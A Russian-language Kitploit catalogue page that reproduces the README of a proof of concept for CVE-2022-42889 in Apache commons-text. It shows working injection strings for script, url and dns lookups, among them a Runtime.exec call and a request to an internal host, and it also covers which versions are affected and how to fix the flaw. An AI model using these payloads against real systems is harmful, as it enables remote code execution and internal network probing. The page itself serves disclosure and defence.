Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-42889-PoC — Доказательство концепции для уязвимости Apache commons-text CVE-2022-42889. | Kitploit
Инструменты/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Доказательство концепции для уязвимости Apache commons-text CVE-2022-42889.

Репозиторий
34173 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-42889 PoC

Это доказательство концепции для уязвимости CVE-2022-42889. Этот код выполнит JavaScript-код 195 + 324. Если уязвимость присутствует, вывод должен быть:

root@kitploit:~
PoC Output: 519

Для запуска вам потребуется:

  • JDK 11 или выше
  • Maven

При запросе строки эксплойта вы можете либо ввести свою собственную строку эксплойта (и нажать Enter для ввода строки), либо просто нажать Enter, чтобы использовать строку эксплойта по умолчанию: ${script:javascript:195 + 324}.

Docker

Альтернативно вы можете использовать Docker для запуска этого PoC:

root@kitploit:~
docker build -t poc .
docker run -it poc

В чем проблема?

Проблема возникает из-за того, что следующие ключи не должны интерполироваться по умолчанию (согласно документации https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

Этот поиск позволяет выполнять предоставленный JavaScript-код. В результате злоумышленник получает возможность выполнять произвольный код в системе.

Формат

root@kitploit:~
${script:<engine>:<code>}

Пример

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Пример в PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

Этот поиск вызывает указанный URL. Злоумышленник может использовать это для выполнения простых GET-запросов к внутренним ресурсам.

Формат

root@kitploit:~
${url:<character-encoding>:<url>}

Пример

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

Пример в PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

Этот поиск выполняет DNS-запрос или обратный поиск. Это может позволить злоумышленнику идентифицировать внутренние ресурсы.

Формат

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

Пример

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

Пример в PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

Однако из-за ошибки в логике эти 3 ключа интерполируются по умолчанию, хотя не должны (поскольку они могут представлять угрозу безопасности).

В чем риск?

Злоумышленник, контролирующий строку, передаваемую в затронутый StringSubstitutor replace, может позволить злоумышленнику:

  • Выполнять JavaScript-код в системе (обычно на сервере), выполняющей код StringSubstitutor
  • Подключаться к другим серверам из затронутой системы
  • Потенциально получить доступ к другим удаленным ресурсам из затронутой системы

Уязвим ли я?

Чтобы ваш код был уязвим, необходимо:

  • Использовать версию Apache commons-text от 1.5.0 до (не включая) 1.10.0

  • Использовать интерполяцию для вашего StringSubstituion (см. https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • Обратите внимание, что в JDK 15 и более поздних версиях JavaScript-движок Nashorn больше не включен. Однако движок JEXL все еще включен, и в результате RCE все еще возможен.

    (спасибо rgmz за указание на это)

Официальное исправление

Исправление заключается в обновлении ваших экземпляров commons-text до версии 1.10.0 или более поздней.

Примечание

Другие поиски по умолчанию все еще могут представлять угрозу безопасности (например, возможность чтения содержимого файлов, чтения системных свойств и т.д.). Используйте эту функцию с осторожностью и убедитесь, что все пользовательские данные должным образом очищены (например, пропущены через белый список).

Скачать инструмент